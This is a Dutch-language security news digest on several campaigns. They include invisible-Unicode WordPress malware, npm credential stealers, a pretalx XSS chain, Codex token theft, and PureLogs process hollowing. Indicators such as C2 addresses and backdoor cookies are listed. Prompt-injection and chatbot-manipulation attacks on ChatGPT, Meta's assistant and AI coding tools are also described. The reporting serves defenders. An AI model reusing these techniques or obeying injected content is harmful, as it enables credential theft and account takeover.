De campagne werd voor het eerst ontdekt in juli 2025. Sindsdien hebben beveiligingsexperts van GoDaddy malware aangetroffen op ongeveer 1.980 WordPress websites. Het is onduidelijk hoe de hackers de websites precies compromitteren, maar onderzoekers vermoeden dat de initiële infectievector varieert van gestolen admin-inloggegevens of gecompromitteerde FTP/SFTP-referenties tot de exploitatie van een kwetsbaar WordPress thema of plugin, of een supply chain compromis.

De eerste stage malware die op een website wordt geplaatst, gebruikt WordPress paginaloads om specifieke Steam-profielen te benaderen en tekst uit onschuldig lijkende commentaren te extraheren. Deze tekst bevat echter verborgen Unicode-tekens die kwaadaardige payloads verhullen, soms vermomd als ASCII-kunst.

GoDaddy onderzoekers beschrijven in een rapport dat de dreigingsactor zes onzichtbare Unicode-tekens gebruikt voor de gecodeerde payload: Zero-width non-joiner (U+200C), Zero-width joiner (U+200D), Function application (U+2061), Invisible times (U+2062), Invisible separator (U+2063) en Invisible plus (U+2064). De decoder negeert alle zichtbare tekens en koppelt de onzichtbare aan een overeenkomstig nummer; vervolgens worden deze omgezet naar een binaire representatie en worden bytes gereconstrueerd uit de binaire stroom. Deze codering stelt binaire data in staat om te worden ingebed in normaal ogende tekst, waarbij de zichtbare tekens dienen als camouflage terwijl de onzichtbare tekens de daadwerkelijke payload dragen.

Volgens de onderzoekers wordt de gedecodeerde payload gebruikt om een `hello-mywordl[.]info` URL op te bouwen. Deze URL dient JavaScript-code die in elke frontend WordPress pagina wordt geïnjecteerd. Op basis van de bestandsnamen, zoals `asahi-jquery-min-bundle` en `lodash.core.min.js`, wordt de opgehaalde malware vermomd als een legitieme JavaScript-bibliotheek. De laatste fase van de aanval is de implementatie van een backdoor die reageert op speciaal geconstrueerde POST-verzoeken die een specifieke authenticatie cookie bevatten. Als de `tEcaKKXEsb` cookie aanwezig is, accepteert de backdoor base64 gecodeerde PHP code via een POST-parameter.

GoDaddy beschrijft verschillende ontwijkingsmechanismen die door de malware worden gebruikt, waaronder geobfusceerde strings met octale en hexadecimale escapes, gerandomiseerde functienamen, nep uitgeschakelde loggingcode en het gebruik van standaard API's van WordPress, waardoor de malware zich vermengt met normale activiteit.

Website-eigenaren kunnen zich verdedigen door te controleren op verwijzingen naar Steam Community URL's, verdachte externe JavaScript-injecties, uitgaande verbindingen van WordPress servers naar Steam, en onverwachte scripts die laden vanaf domeinen zoals `hello-mywordl[.]info`. Andere indicatoren zijn onzichtbare Unicode-tekens, verdachte `_transient_caption_` cache-ingangen, uitgeschakelde SSL-verificatie in cURL-verzoeken en POST-verzoeken die de authenticatie cookies of de `new_code` parameter van de malware bevatten. De onderzoekers adviseren beveiligingsteams om prioriteit te geven aan het herstellen vanaf een bekende goede backup van vóór de infectiedatum. Indien dit niet mogelijk is, moet het handmatige schoonmaakproces grondig zijn, omdat aanvallers de verwijderde code opnieuw kunnen installeren via de backdoor als een component actief blijft.

Bron: Australische overheid | Bron 2: godaddy.com | Bron 3: hubs.li

Aanvallers hebben tientallen npm packages van Red Hat voorzien van infostealer malware, zo is recentelijk bekendgemaakt. Deze kwaadaardige software is specifiek ontworpen om diverse gevoelige gegevens, ook wel "secrets" genoemd, van besmette systemen te stelen.

Volgens StepSecurity zijn er maar liefst 31 gecompromitteerde packages geïdentificeerd, die gezamenlijk meer dan 100.000 wekelijkse downloads genereren. De specifieke packages die het betreft vallen onder de noemer @redhat-cloud-services npm packages. Ontwikkelaars die deze besmette pakketten downloaden en installeren, riskeren directe infectie van hun ontwikkelomgeving.

De malware wordt door StepSecurity omschreven als een uiterst effectieve 'credential harvester'. Deze functionaliteit stelt de malware in staat om een breed scala aan secrets, credentials en tokens te verzamelen. Tot de doelwitten behoren gevoelige toegangsgegevens voor kritieke ontwikkel- en cloudplatformen, waaronder GitHub Actions, AWS (Amazon Web Services), GCP (Google Cloud Platform), Azure (Microsoft Azure), Kubernetes, HashiCorp Vault, npm en CircleCI.

Naast het stelen van deze waardevolle gegevens, richt de malware zich ook op de softwareprojecten waar de getroffen ontwikkelaar aan werkt. Een bijzonder zorgwekkend aspect van de aanval is de methode waarmee de aanvallers hun invloed proberen uit te breiden. Met de gestolen npm tokens tracht de malware besmette versies te publiceren van andere packages waar het slachtoffer beheerderstoegang toe heeft. Dit kan leiden tot een verdere verspreiding van de malware binnen de supply chain.

Cybersecuritybedrijf JFrog Security heeft de aanval toegeschreven aan een specifieke groep aanvallers, bekend onder de naam TeamPCP. Deze groep heeft in het verleden al een spoor van vergelijkbare supply chain aanvallen achtergelaten. Eerdere slachtoffers van TeamPCP omvatten prominente organisaties en projecten zoals SAP, Checkmarx, Lightning, Intercom, Trivy en GitHub zelf. De aanhoudende activiteit van TeamPCP onderstreept de noodzaak voor organisaties en ontwikkelaars om hun software supply chain zorgvuldig te beveiligen en alert te zijn op verdachte activiteiten binnen hun ontwikkelprocessen.

Bron: StepSecurity en JFrog Security | Bron 2: github.com

Cybersecurityonderzoekers van het bedrijf Novee Security hebben een gevaarlijke kwetsbaarheid ontdekt in pretalx, populaire open-source software, die cybercriminelen in staat stelt accounts van organisatoren volledig over te nemen zonder dat zij een enkele link hoeven aan te klikken. Het betreft een stored Cross-Site Scripting (XSS) kwetsbaarheid met een hoge ernst, aangeduid als CVE-2026-41241, en heeft een hoge CVSS-score van 8.7.

Pretalx wordt veel gebruikt voor het beheren van Call for Papers (CFP)-processen en planning voor evenementen variërend van hacker-camps tot academische symposia. De kwetsbaarheid werd geanalyseerd door Elad Meged, een founding engineer en beveiligingsonderzoeker bij Novee. Hij merkte op dat, hoewel verschillende evenementen van buitenaf onafhankelijk lijken, ze op dezelfde onderliggende codebase draaien. Dit betekent dat één enkele kwetsbaarheid een systemische blootstelling creëert binnen de hele sector.

De blogpost van Novee, gedeeld met Hackread.com, onthult dat de aanvalsvector lage privileges en lage complexiteit vereist. Elke geregistreerde gebruiker kan deze misbruiken door eenvoudigweg HTML of JavaScript in de zoekbalk-dropdown aan de organisatorzijde te plaatsen. Hierbij wordt de conferentiewebsite misleid om kwaadaardige code uit te voeren die is verborgen in normale presentatie-inzendingen.

Onderzoekers leggen uit dat pretalx een strikt Content Security Policy (CSP) hanteert met `script-src ‘self’` en HTML5 `innerHTML` scriptonderdrukking om ongeautoriseerde code-uitvoering te voorkomen. Aanvallers kunnen deze verdedigingsmechanismen echter volledig omzeilen via een geketende exploit. Hierbij uploaden ze een `.js` payload-bestand, vermomd als normaal leermateriaal of dia's, naar het CFP-platform. Omdat het bestand direct op het platform wordt opgeslagen, neemt het de domeinoorsprong van de site over. De aanvaller plaatst vervolgens een `iframe`-tag in de titel van de inzending.

Wanneer een organisator zoekt naar veelvoorkomende woorden zoals "intro" of "machine learning", wordt de titel door de "typeahead" zoekfunctie gerenderd. Het `srcdoc`-attribuut creëert een nieuwe documentcontext die het HTML5-scriptblok omzeilt. Omdat pretalx een `frame-src`-richtlijn mist, voert de `iframe` het geüploade script uit, waardoor het CSP-filter wordt gepasseerd. Dit geeft het script volledige toegang tot de sessie van de organisator voor directe overname, gegevensdiefstal en geautomatiseerde acceptatie van sprekers.

De analyse onthulde ook een secundaire techniek die helemaal geen JavaScript vereist. Door een `image`-tag in een inzendingstitel te plaatsen, maakt de browser automatisch een geauthenticeerd GET-verzoek om de afbeeldingsbron te laden. Op het moment dat de zoekresultaten worden gerenderd, activeert dit verzoek een "superuser-demotion"-endpoint, waardoor de admin-privileges van de organisator permanent worden ingetrokken.

Verder bleek uit het onderzoek hoe dreigingsactoren geautomatiseerde AI-softwareagenten kunnen gebruiken om deze kwetsbaarheid op grotere schaal te misbruiken. Ze kunnen een agent inzetten om openbare pretalx-implementaties te scrapen, aangepaste presentatie-samenvattingen te genereren met behulp van grote taalmodellen (LLM's), en tegelijkertijd tientallen conferenties automatisch te overspoelen met de kwaadaardige payload. Ze hoeven alleen de zoektermen te targeten die organisatoren het meest gebruiken om hun eigen inzendingen geaccepteerd te krijgen, waardoor ze theoretisch een acceptatiegraad van 100% kunnen behalen voor 40 of meer conferenties.

Traditionele applicatiebeveiligingstools falen om deze aanvallen te detecteren. Onderzoekers merkten op: “Statische analyse markeert `innerHTML`. DAST-scanners herhalen payloads tegen formulieren.” Ze legden uit dat, hoewel tools individuele bugs als laag risico classificeren, ze niet kunnen modelleren hoe een autonome agent deze onderdelen kan samenvoegen tot een volledige keten.

Novee heeft het pretalx-team en maker Tobias Kunze geprezen voor een snelle en coöperatieve reactie. De kwetsbaarheid is officieel gepatcht op 27 mei 2026, in pretalx versie v2026.1.0.

Bron: Novee Security | Bron 2: github.com | Bron 3: nvd.nist.gov

Onderzoekers op het gebied van cybersecurity hebben details bekendgemaakt over een nieuwe kwaadaardige aanval op de toeleveringsketen, gericht op ontwikkelaars die OpenAI Codex gebruiken via een legitiem ogende webinterface op afstand. Het betreft het npm-pakket `codexui-android`, dat op GitHub en npm wordt geadverteerd als een webinterface voor OpenAI Codex en meer dan 29.000 wekelijkse downloads aantrekt. Het pakket is nog steeds beschikbaar via de repository.

Deze activiteit is opmerkelijk omdat het geen traditionele aanval betreft die gebruikmaakt van typosquatting of wegwerppakketten om ontwikkelaars te misleiden. In plaats daarvan is de kwaadaardige code ingebed in een functioneel npm-pakket dat actief is ontwikkeld. De bijbehorende GitHub-repository is nog steeds schoon. Volgens Charlie Eriksen, onderzoeker bij Aikido Security, heeft elke aanroep van het pakket in de afgelopen maand stilzwijgend authenticatietokens van Codex geëxfiltreerd naar een server die onder controle staat van de aanvallers.

De schadelijke wijzigingen zouden ongeveer een maand na de publicatie van het pakket in het register zijn geïntroduceerd, waarschijnlijk in een poging om gebruikersvertrouwen op te bouwen en het bereik te vergroten. Het npm-account dat aan het pakket is gekoppeld, is "friuns", ook bekend als Igor Levochkin.

In het pakket bevindt zich code die de inhoud van het `~/.codex/auth.json` bestand van Codex extraheert en deze exfiltreert naar een externe server, `sentry.anyclaw[.]store`, die zich voordoet als Sentry, een legitiem platform voor applicatiemonitoring en foutopsporing. De vastgelegde gegevens omvatten de `access_token`, `refresh_token`, `id_token` en account-ID. Eriksen benadrukt dat de `refresh_token` niet verloopt, waardoor een aanvaller die deze in handen heeft, zich onbeperkt en stilzwijgend kan voordoen als het slachtoffer. Een gestolen Codex `refresh_token` geeft meer dan alleen toegang tot een chatinterface; het biedt persistente, stille toegang tot alles wat dat account kan doen.

OpenAI waarschuwt in zijn ondersteuningsdocumentatie dat gebruikers `~/.codex/auth.json` moeten behandelen als een wachtwoord, omdat het toegangstokens bevat. Het wordt afgeraden om het te committen, in tickets te plakken of in chats te delen.

Het npm-pakket is niet de enige methode die de dreigingsactor gebruikt om Codex-ontwikkelaars aan te vallen. Aikido heeft een Android-applicatie waargenomen met de naam "OpenClaw Codex Claude AI Agent" (pakketnaam: `gptos.intelligence.assistant`), die het npm-pakket uitvoert binnen zijn PRoot-sandbox en de Codex-referenties naar hetzelfde eindpunt stuurt. De APK-applicatie zelf is klein (26 MB) en ziet er schoon uit bij een Play-scan voorafgaand aan publicatie. Bij de eerste uitvoering extraheert het een van Termux afgeleide Linux-gebruikersomgeving naar de privéopslag van de applicatie en voert Node.js daarin uit via PRoot. De versie is niet vastgepind, dus het apparaat haalt op wat momenteel op npm is gepubliceerd. De exfiltratie is al aanwezig sinds `codexui-android@0.1.82`. Het pakket draait binnen de PRoot-sandbox van de applicatie, waar de in-app Codex-aanmelding zijn `auth.json` schrijft. Zodra de gebruiker is aangemeld, leest het pakket dat bestand uit de sandbox en verzendt het de volledige OAuth-blob naar `sentry.anyclaw.store/startlog`.

De Android-applicatie, uitgebracht door een entiteit genaamd "BrutalStrike", heeft meer dan 50.000 downloads. Dezelfde exfiltratieketen is ook gesignaleerd in een tweede Android-applicatie die gekoppeld is aan BrutalStrike: "Codex" (pakketnaam: `codex.app`), die meer dan 10.000 keer is gedownload. De overige drie applicaties die de ontwikkelaar aanbiedt, bevatten deze functionaliteit niet.

Na contact op te nemen met de pakketauteur op GitHub, meldde Aikido dat deze aanvankelijk een opmerking plaatste waarin stond dat de toegang tot het npm-account was verloren. Vervolgens bewerkte de auteur de reactie en plaatste een andere waarin werd beweerd dat "dit probleem intern wordt onderzocht" en dat "de betreffende functionaliteit en gerelateerde gegevens zijn verwijderd". De auteur beweerde verder dat er geen referentiegegevens met derden zijn gedeeld, zonder te antwoorden waarom deze code alleen in de npm-pakketbuild was ingevoegd of waarom er überhaupt toegang tot de Codex-tokens nodig was. Het X-profiel dat aan de auteur is gekoppeld, bevat het domein `anyclaw[.]store`. WHOIS-records geven aan dat het domein op 12 april 2026 werd geregistreerd, slechts twee dagen nadat de allereerste versie van het npm-pakket (versie 0.1.72) naar npmjs[.]com werd geüpload.

Deze ontwikkeling komt op een moment dat dreigingsactoren steeds vaker echte tools en workflows voor ontwikkelaars van kunstmatige intelligentie (AI) aanvallen om referenties te stelen en dieper in de software-toeleveringsketen door te dringen.

Eind vorige maand ontdekte een Belgisch beveiligingsbedrijf ook dat een verwijderde Google API-sleutel tot 23 minuten lang actief blijft, een venster dat een aanvaller met toegang tot een gelekte sleutel kan benutten om toegang te krijgen tot gebruikersgegevens en andere API’s, inclusief die gerelateerd aan Google Gemini. De gemiddelde intrekkingstijd bedraagt ongeveer 16 minuten. Onderzoeker Joe Leon stelde dat een aanvaller met een verwijderde sleutel verzoeken kan blijven verzenden totdat deze een server bereikt die nog niet is bijgewerkt. Indien Gemini op het project is ingeschakeld, kunnen aanvallers geüploade bestanden dumpen en gecachte gesprekken exfiltreren. Hoewel Google aanvankelijk besloot het probleem niet te verhelpen, met de verklaring dat het een "bekende eigenschap van het systeem en geen beveiligingsprobleem" was, heeft de techgigant sindsdien besloten het te behandelen als een P0-bug, wat betekent dat het een ernstig probleem is dat onmiddellijk moet worden aangepakt. De bevindingen, net als een vergelijkbaar exploitatievenster van 4 seconden dat eerder werd waargenomen met verwijderde Amazon Web Services (AWS) toegangssleutels, benadrukken hoe vertragingen bij het intrekken van referenties exploiteerbaar zijn en kunnen worden gebruikt om ongeautoriseerde toegang te verkrijgen tot cloudomgevingen, terwijl verdedigers ervan uitgaan dat de referenties zijn ingetrokken.

Bron: Aikido Security | Bron 2: github.com | Bron 3: offensai.com

FortiGuard Labs heeft een nieuwe e-mailcampagne onthuld die Windows-gebruikers aanvalt met een datastelend programma genaamd PureLogs. De aanval begint met e-mails met valse aankooporders die slachtoffers verleiden een kwaadaardig archief te openen, genaamd "PO 2026-P0803.rar".

Na het openen van het archief wordt automatisch een verborgen script, "kpankocrs.js", uitgevoerd. Dit script plaatst een willekeurig genoemd bestand, zoals "ps_qnSEGUkU0LIY_1777592585573.ps1", in de map "C:\Temp". Het maakt gebruik van de script engine van Windows (wscript.exe) om PowerShell te activeren en systeembeperkingen te omzeilen.

De aanvallers passen de techniek process hollowing toe om detectie te voorkomen. Hierbij wordt een legitiem Windows-proces, in dit geval "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe", gekaapt. De veilige code van dit proces wordt vervangen door een kwaadaardige downloader module. Dit kapen gebeurt via specifieke commando's van het systeem: CreateProcessA() opent het legitieme programma in een bevroren staat, ZwUnmapViewOfSection() leegt het geheugen, WriteProcessMemory() injecteert de kwaadaardige code, en ResumeThread() dwingt de computer om de verborgen dreiging uit te voeren.

Zodra de malware actief is binnen MsBuild.exe, wordt een interne module genaamd "Iwnflr.exe" geëxtraheerd om de volgende fase te starten. Dit bestand laadt de bron "Eqxcpvgf.Ybrgdoxas" via ResourceManager.GetObject(). Vervolgens wordt deze bron ontsleuteld met het DES-algoritme en gedecomprimeerd met Gunzip, waarna een downloader met de naam "Rmiyj.dll" wordt samengesteld.

De taak van deze downloader is om een verbinding tot stand te brengen met een externe C2-server op 77.83.39.211 via poort 8443 voor het verzenden van webverzoeken. Dit leidt tot het ophalen van de uiteindelijke payload. Eerst wordt een HTTP GET-verzoek naar het "/ping"-endpoint gestuurd om te bevestigen dat de server actief is, gevolgd door een HTTP POST-verzoek naar het "/plugin"-endpoint om een fileless variant van PureLogs genaamd "zgSGkYYzqVe.dll" te downloaden. Door de uitvoering in het geheugen van deze plugin blijven er geen sporen achter op de fysieke harde schijf.

De PureLogs malware begint vervolgens met het stelen van gevoelige gegevens, gericht op een breed scala aan browsers, cryptocurrency wallets en applicaties. Het steelt opgeslagen inloggegevens, geschiedenis en cookies van Chrome, Firefox, Brave, Vivaldi en Microsoft Edge. Daarnaast richt het zich op bestanden van crypto wallets, privésleutels en transactiegeschiedenissen van Bitcoin Core, Dogecoin Core, Litecoin Core, Exodus en Atomic Wallet.

Bovendien bemachtigt de malware Discord-authenticatietokens en accountwachtwoorden van Outlook, FileZilla, ProtonVPN en OpenVPN. De laatste stap is het bundelen van de gestolen gegevens met een JPEG-screenshot van het bureaublad, systeem informatie, klembord gegevens en de gebruikersnaam. Dit datapakket wordt geserialiseerd, gecomprimeerd met GZip en versleuteld met een AES-sleutel. De versleutelde bundel wordt vervolgens via HTTP POST-verzoeken naar de "/browser" en "/discord"-endpoints naar de server van de aanvallers verzonden.

De beveiligingsfilters van FortiMail hebben deze phishing-e-mails onderschept en de onderwerpregel gemarkeerd als "virus detected", waardoor de kwaadaardige bestanden de inboxen van gebruikers niet konden bereiken. Om de risico's van deze ontwijkende campagne te beperken, adviseren onderzoekers organisaties om strikte e-mailfiltering toe te passen, onnodige scriptuitvoering uit te schakelen en actief te monitoren op afwijkende PowerShell-activiteit en process hollowing.

Diverse cybersecurity experts hebben hun inzichten gedeeld. Jason Soroko, Senior Fellow bij Sectigo, benadrukte dat de campagne aantoont hoe dreigingsactoren zich succesvol verbergen binnen normale zakelijke activiteiten en tools voor systeembeheer, waarbij process hollowing wordt gebruikt om een .NET downloader in een vertrouwde Windows MSBuild executable te injecteren. Kern Smith, Senior Vice President van Global Solutions Engineering bij Zimperium, waarschuwde dat beveiligingsteams verder moeten kijken dan de zichtbaarheid van endpoints en verdachte activiteiten vroegtijdig moeten kunnen identificeren en correleren over mobiele apparaten, applicaties en endpoints. Maxime Cartier, Vice President of Human Risk bij Hoxhunt, legde uit dat het menselijke element een primaire barrière blijft, aangezien de aanvalsketen volledig afhangt van het openen van een kwaadaardige bijlage, wat de noodzaak van een gedragsmatige benadering van beveiligingsrisico's onderstreept.

Bron: FortiGuard Labs

Hackers misbruiken steeds vaker vertrouwde kunstmatige intelligentie (AI)-platforms zoals ChatGPT en Claude om gebruikers aan te vallen. Recentelijk werd een kwetsbaarheid genaamd ClaudeBleed ontdekt, die ongeautoriseerde browser-extensies in staat stelde de interface van Anthropic Claude te kapen. Nu maken aanvallers misbruik van de officiële functionaliteiten van deze AI tools om malware te verspreiden en tegelijkertijd webfilters en beveiligingscontroles te omzeilen.

Beveiligingsonderzoek van Push Security onthult een campagne genaamd LLMShare, die gebruikmaakt van zogenaamde InstallFix-aanvallen. Deze aanvallen, een variant van de ClickFix-familie, exploiteren het feit dat AI tools de installatie via de commandoregel hebben genormaliseerd, zelfs voor gebruikers die onvoldoende ervaring hebben om legitieme terminalcommando's van kwaadaardige te onderscheiden. Hackers gebruikten de functionaliteit voor het renderen van code van ChatGPT om een valse storingsmelding te creëren binnen een echte link. Deze pagina beweerde dat de webversie tijdelijk niet beschikbaar was en drong er bij gebruikers op aan een desktopapplicatie te downloaden, waarna zij werden omgeleid naar een website die leek op de originele: openew.app.

Deze downloadwebsite was slim ontworpen om kwaadaardige uitvoerbare bestanden te leveren, ontwikkeld voor zowel Windows als macOS. Op Mac-apparaten werd de payload geïdentificeerd als Odyssey Stealer, een variant van Atomic macOS Stealer die zich richt op in browsers opgeslagen wachtwoorden, cryptowallets en sessietokens. De downloadwebsite maakte gebruik van een techniek voor conditionele weergave om detectie van malware te voorkomen. Wanneer geautomatiseerde scanners, zoals URLScan, de link controleerden, maskeerde de website zichzelf door een onschadelijke website van een virtual reality-bedrijf te tonen, terwijl echte gebruikers de malwareval zagen.

Een andere kwetsbaarheid, genaamd ChatGPhish, werd ontdekt en gerapporteerd door Permiso Security. Deze kwetsbaarheid richt zich op de manier waarop ChatGPT Markdown-inhoud verwerkt bij het samenvatten van websites van derden. Onderzoekers merkten op dat een aanvaller kwaadaardige code in een gewone webpagina kan injecteren. Wanneer een gebruiker ChatGPT vervolgens vraagt die pagina samen te vatten, haalt de AI automatisch de live, klikbare phishinglinks, QR-codes of valse beveiligingswaarschuwingen van de aanvaller rechtstreeks in de vertrouwde chatinterface. Dit is geen kwetsbaarheid van de browser, maar een probleem waarbij door aanvallers gecontroleerde inhoud wordt weergegeven als vertrouwde gebruikersinterface binnen de LLM-ervaring.

Daarnaast rapporteerde Adversa AI twee kritieke technieken gericht op ontwikkelaars: SymJack en TrustFall. SymJack is een aanval die AI-codeerassistenten misleidt tot een ogenschijnlijk onschuldige bestandskopie die hun eigen configuratiebestanden overschrijft, leidend tot uitvoering van code op afstand. TrustFall is een methode die kwaadaardige software-opslagplaatsen gebruikt om gevaarlijke commando's automatisch goed te keuren via het Model Context Protocol (MCP) zonder gebruikersakkoord.

Deze campagnes voor het stelen van informatie hebben gevaarlijke reële gevolgen. Het IBM X-Force 2026 Threat Intelligence Index-rapport toonde aan dat meer dan 300.000 ChatGPT-inloggegevens al zijn gelekt op het darkweb.

Bron: permiso.io | Bron 2: adversa.ai

Beveiligingsteams worden geconfronteerd met een tweeledig probleem op het gebied van kunstmatige intelligentie (AI). Aan de ene kant gebruiken aanvallers AI om phishingkits te verbeteren, overtuigende lokmiddelen te genereren en hun infrastructuur sneller te wisselen dan traditionele blokkeerlijsten kunnen bijhouden. Aan de andere kant omarmen werknemers AI tools in hoog tempo, vaak zonder adequate beveiligingscontroles. Dit leidt ertoe dat gevoelige gegevens in Large Language Models (LLM's) worden geplakt, OAuth-rechten worden verleend aan AI-agents, en ongecontroleerde AI-browser-extensies worden geïnstalleerd. Beide problemen manifesteren zich primair in de browser, wat deze tot een cruciale frontlinie maakt voor moderne cyberbeveiliging.

Volgens onderzoek van Push Security versnelt AI de ontwikkeling van aanvallershulpmiddelen. Phishing-as-a-Service (PhaaS) tools en kits worden sneller gecreëerd en geüpdatet. Een voorbeeld hiervan is de snelle evolutie van ClickFix, dat nieuwe technieken zoals InstallFix en ConsentFix introduceert. Een andere zorgwekkende ontwikkeling is 'device code phishing', een methode die misbruik maakt van legitieme OAuth-stromen om Multi-Factor Authenticatie (MFA) en passkeys volledig te omzeilen. Deze techniek is in 2026 geëxplodeerd, waarbij het aantal actieve kits met een factor 18 is toegenomen en detecties 37 keer vaker voorkomen. Cybercrimegroepen zoals ShinyHunters en BlackFile maken uitgebreid gebruik van dergelijke kits, waaronder Doko's Panel en afgeleide varianten, waarin zwaar AI-gebruik is waargenomen. Overvloedige commentaren in de paginacode worden gezien als een duidelijke indicator van ontwikkeling met assistentie van AI.

De effectiviteit van detecties gebaseerd op Indicators of Compromise (IoC's) neemt af. AI verlaagt de kosten voor het opzetten van overtuigende phishing-infrastructuur aanzienlijk. Een geloofwaardige phishingpagina kan binnen enkele minuten worden 'vibecoded', geïmplementeerd op een nieuw domein, slachtoffers maken en weer worden verwijderd voordat reputatiediensten deze kunnen markeren. Spamhaus rapporteert dat 89% van de phishingdomeinen minder dan twee dagen actief is. Voor organisaties die vertrouwen op blokkeerlijsten en IoC-feeds, is elke phishingaanval effectief een zero-day. Bovendien wordt misbruik gemaakt van legitieme sites voor het hosten en leveren van phishinglinks, zoals te zien is bij de LLMShare-campagne, die legitieme chatgpt.com-sharinglinks gebruikt voor malvertising via zoekmachineadvertenties die extreem moeilijk te herkennen zijn.

AI maakt het ook eenvoudiger om campagnes via meerdere kanalen op te zetten. Gegevens van Push Security tonen aan dat ongeveer 1 op de 3 phishing-payloads via andere kanalen dan e-mail arriveert, zoals malvertising, sociale media en SEO-poisoning. Bij ClickFix-campagnes komt zelfs 4 op de 5 payloads specifiek via resultaten van zoekmachines binnen. Beveiliging van e-mail is structureel blind voor deze snelgroeiende leveringskanalen. De browser, waar payloadlevering en overname van accounts daadwerkelijk plaatsvinden, is daarom de laag waar detectie moet opereren, door het analyseren van paginagedrag, scriptuitvoering en kwaadaardige mechanismen zoals sessiediefstal, kopiëren en plakken, en bestanddownloads.

Bron: Push Security

Red Hat heeft maandag tientallen softwarepakketten uit zijn distributiepijplijn verwijderd, nadat aanvallers een gecompromitteerd GitHub-account hadden gebruikt om malware voor het stelen van inloggegevens te verspreiden onder ontwikkelaars. Volgens de voorlopige analyse van het bedrijf werd via het gecompromitteerde GitHub-account kwaadaardige code verspreid naar klanten, waarbij 32 pakketten werden getroffen die wekelijks ongeveer 117.000 keer werden gedownload. Red Hat heeft de getroffen pakketten sindsdien verwijderd en stelt dat "op basis van de huidige bevindingen geen acties van klanten vereist zijn."

De aanval maakte gebruik van een variant van de Mini Shai-Hulud zelfverspreidende worm, waarvan de volledige broncode op 12 mei online werd gepubliceerd door de cybercriminele groep TeamPCP. Zoals cybersecuritybedrijf Tenable opmerkte, kondigden de criminelen "gelijktijdig een wedstrijd van $1.000 aan op BreachForums voor de grootste supply chain aanval met behulp van de code." Of de aanval van maandag werd uitgevoerd door TeamPCP zelf of door een andere actor die de gepubliceerde code gebruikte, kon niet onmiddellijk worden vastgesteld, aldus onderzoekers.

Palo Alto Networks' Unit 42 waarschuwde dat het openbaar maken van de broncode van de worm al tot copycat-activiteiten heeft geleid, waardoor definitieve attributie moeilijker wordt en dat Mini Shai-Hulud "niet langer beperkt is tot TeamPCP." De malware van de aanval, die de auteurs Miasma noemden, verschilde slechts cosmetisch van het origineel van TeamPCP; verwijzingen naar de sciencefictionreeks Dune werden vervangen door Griekse mythologie, terwijl de onderliggende functionaliteit voor het stelen van inloggegevens intact bleef.

De aanval van maandag is de meest recente in een reeks supply chain inbreuken die teruggaan tot september 2025, toen de originele Shai-Hulud worm leidde tot een CISA-advies, en die enkele van 's werelds meest gebruikte ontwikkelaarstools hebben getroffen. Recente incidenten omvatten een aanval in maart op LiteLLM, waardoor cybercriminelen verschillende organisaties konden binnendringen, waaronder AI-recruitmentbedrijf Mercor. De aanval op LiteLLM werd gevolgd door een aparte reeks compromitteringen die werden toegeschreven aan Noord-Koreaanse hackers, gericht op de axios JavaScript-bibliotheek. Die campagne bracht Charles Carmakal, Chief Technology Officer van Mandiant, ertoe te waarschuwen dat "de geheimen die de afgelopen twee weken zijn gestolen, de komende dagen, weken en maanden meer supply chain aanvallen, compromitteringen van Software-as-a-Service omgevingen, ransomware- en afpersingsincidenten, en cryptodieften mogelijk zullen maken."

In mei bevestigde GitHub dat het was gecompromitteerd door TeamPCP nadat een apparaat van een werknemer was gecompromitteerd via een kwaadaardige Visual Studio Code-extensie, waarbij de groep $50.000 eiste voor gestolen broncode en dreigde deze gratis te lekken als er geen koper kwam. OpenAI had ook gewaarschuwd dat twee van zijn werknemersapparaten in dezelfde golf waren gecompromitteerd, na een supply chain aanval op de open source bibliotheek TanStack. Ten tijde van de LiteLLM-compromittering waarschuwde Adam Reynolds, senior security researcher bij Sonatype, dat omdat "de malware een breed scala aan inloggegevens target... dit het potentieel creëert voor tweede- en derderangs effecten die zich in de loop van de tijd kunnen verspreiden, leidend tot verdere inbreuken, serviceonderbrekingen of misbruik van gevoelige gegevens ver buiten het initiële compromitteringspunt."

Bron: Red Hat | Bron 2: tenable.com | Bron 3: unit42.paloaltonetworks.com

Een recente ontdekking wijst op een exploit binnen Instagram die misbruik maakt van de AI-chatbot van Meta. Deze chatbot, die onvoldoende beveiligingsmechanismen zou hebben, wordt ingezet door kwaadwillenden om premium gebruikersnamen te bemachtigen, met name de gewilde 'one-letter' accounts. De methode omvat het misleiden van de AI door het gebruik van verborgen karakters, waarna de chatbot wordt overgehaald om de gewenste wijziging van de gebruikersnaam toe te passen.

De exploit stelt verkopers in staat om via slinkse methoden toegang te krijgen tot unieke en waardevolle Instagram-gebruikersnamen. Door de AI te manipuleren met specifieke, verborgen tekens, kunnen zij de chatbot ertoe bewegen om beheerdersacties uit te voeren en de gewenste gebruikersnaamoverdracht te bewerkstelligen. Monitoringbots hebben reeds waargenomen dat originele, korte gebruikersnamen op deze manier van eigenaar wisselen.

Dit incident benadrukt de risico's die gepaard gaan met de integratie van AI-systemen in platforms waar gevoelige gebruikersgegevens en beheerrechten een rol spelen. Een gebrek aan robuuste 'guardrails' of beveiligingsprotocollen in AI-chatbots kan leiden tot onbedoelde kwetsbaarheden die door kwaadwillende actoren worden uitgebuit. Voor Instagram-gebruikers, inclusief die in Nederland en België, betekent dit een potentieel risico op het verlies van hun unieke accountnamen aan derden. Het incident onderstreept de noodzaak voor Meta om de beveiliging van zijn AI-systemen grondig te herzien en te versterken om dergelijke manipulaties te voorkomen en de integriteit van gebruikersaccounts te waarborgen. De exacte technische details van de gebruikte verborgen karakters en de wijze waarop de AI precies wordt misleid, zijn niet verder gespecificeerd in de melding.

Bron: Cybercrimeinfo

Onderzoekers van Unit 42 hebben een wijdverbreide malvertising campagne gedetecteerd die gericht is op macOS-gebruikers. Deze campagne, genaamd "Operation FlutterBridge", verspreidt de nieuwe FlutterShell backdoor en lijkt een verdere ontwikkeling te zijn van de "JSCoreRunner" campagne die in augustus 2025 voor het eerst werd geïdentificeerd. De financieel gemotiveerde aanvallers achter deze campagnes zijn overgestapt van het leveren van standaard adware naar adware met volledige backdoor functionaliteiten.

FlutterShell, gebouwd met het Flutter framework, infecteert slachtoffers met adware via kwaadaardige desktop applicaties. Naast de adware functionaliteit beschikt de payload over uitgebreide backdoor mogelijkheden, waaronder de uitvoering van shell commando's en manipulatie van bestandssystemen. Sommige varianten misbruiken zelfs functies voor AI samenvattingen voor data exfiltratie, waarbij documenten via een door de aanvaller beheerde server worden gerouteerd voordat ze worden verwerkt. De FlutterShell malware wordt actief doorontwikkeld, waarbij snel nieuwe verbeteringen in de code worden geïntegreerd.

